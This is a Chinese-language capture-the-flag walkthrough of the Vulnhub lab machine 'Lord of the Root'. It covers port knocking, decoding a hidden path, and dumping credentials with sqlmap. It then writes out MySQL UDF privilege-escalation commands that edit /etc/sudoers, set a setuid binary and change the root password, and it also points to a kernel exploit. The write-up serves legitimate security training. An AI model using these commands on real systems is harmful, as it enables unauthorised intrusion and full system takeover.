Vulnhub-靶机-LORD OF THE ROOT: 1.0.1
本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机下载之后使用仅主机模式加载到本地VMware Workstation工作站,需要发现目标靶机的IP地址,可以使用nmap,netdiscover,或者arp之类的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 当然也是可以使用Windows环境下mac地址扫描工具都是可以的,那么本次演示就是arp-scan工具发现
地址:https://www.vulnhub.com/entry/lord-of-the-root-101,129/
nmap -sS -sV -sC -T5 -A -p- -o lord.nmap 192.168.226.132 -o lord.nmap
nmap扫描结果
扫描结果只开了22端口,那么ssh连接看看
看到上面的提示,上面标记的地方表示要用knock来进行敲击才能打开另外的端口,这个是老生常的的,之前靶机都演示过了,这里敲击的顺序端口号为1,2,3
根据端口号顺序生成了可能的顺序
python -c 'import itertools; print list(itertools.permutations([1,2,3]))' | sed 's/), /\n/g' | tr -cd '0-9,\n' | sort | uniq > permutation.txt
最终得到如上结果,开放了1337端口,显示的内容是Apache开启的服务,那么就是web应用了,访问结果如下
PS:上述端口敲击还有其他方式,详见我写的其他文章
上面访问的结果没看到啥有用的东西,本想直接使用dirb爆破目录下, 但还是想走个捷径访问robots.txt看看
看下网页源代码
上述注释的像是base64编码,我们看看能不能解码
THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh
得到此结果:Lzk3ODM0NTIxMC9pbmRleC5waHA= Closer 像还是base64编码,去掉后面Closer 再解码试试
得到一个URI /978345210/index.php
看到这里试下弱口令无果,就直接抓包通过sqlmap的-r参数进行注入尝试,这里我就是不抓包,使用另一种注入表单的形式测试
sqlmap -u http://192.168.226.132:1337/978345210/index.php --forms -D Webapp -T Users -C id,username,password --dump-all --batch
得到对应的用户名和密码就去用ssh去登陆目标靶机试试,之类可以使用hydra,也可以是metasploit,当然也可以是其他破解工具,那么我这里最终得到用户名 smeagol 密码MyPreciousR00t是可以登陆ssh的,下面登陆看看
进去之后顺便执行了下sudo -l 没看到可以提权的信息,此靶机的提权方式据说是有好几种,先慢慢试,看看内核漏洞本地提权行不行
找到对应的版本看是否存在nday对应的exp可利用,方式很多,常见的是本地kali搜索,或者Google关键字即可
方法一:
根据信息,直接本地kali搜索对应的exp即可
对应的exp地址:https://www.exploit-db.com/exploits/39166 内核漏洞本地提权,还是蛮爽的,一把梭敲个回车就完美提权了
方法二:
MySQL服务是以root身份运行,可以通过此处进行反弹shell提权
收集一下对应版本的信息
本地kali搜索对应版本是否存在exp
最终确认使用UDF进行反弹shell提权,使用对应的exp是1518.c ,看如下操作
cp 1518.c raptor_udf2.c gcc -g -c raptor_udf2.c gcc -g -shared -Wl,-soname,raptor_udf2.so -oraptor_udf2.so raptor_udf2.o -lc mysql> use mysql; mysql> create table foo(line blob); mysql> insert into foo values(load_file('/home/smeagol/raptor_udf2.so')); mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so'; mysql> create function do_system returns integer soname 'raptor_udf2.so'; mysql> select * from mysql.func; mysql> select do_system('echo "smeagol ALL =(ALL) NOPASSWD: ALL" >> /etc/sudoers'); mysql> exit sudo -i
参考:https://github.com/Hamza-Megahed/CTFs/tree/master/lord-of-the-root
上述是通过执行追加sudoer变为特权用户进行提权,其他通过不同途径执行命令提权
通过二进制setuid提权 select sys_exec('chown root:root /tmp/setuid; chmod 4777 /tmp/setuid'); 通过更改root密码提权 select do_system('echo "root:passwd" | chpasswd > /tmp/out; chown smeagol.smeagol /tmp/out'); 通过追加用户到sudoer进行提权 select do_system('echo "smeagol ALL =(ALL) NOPASSWD: ALL" >> /etc/sudoers');
udf提权参考:
https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql
https://kooksec.blogspot.com/2015/09/hacking-lord-of-root.html
方法三:
缓冲器溢出漏洞提权,参考:
https://www.cnblogs.com/zongdeiqianxing/p/13503635.html
https://g0blin.co.uk/lord-of-the-root-vulnhub-writeup/
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?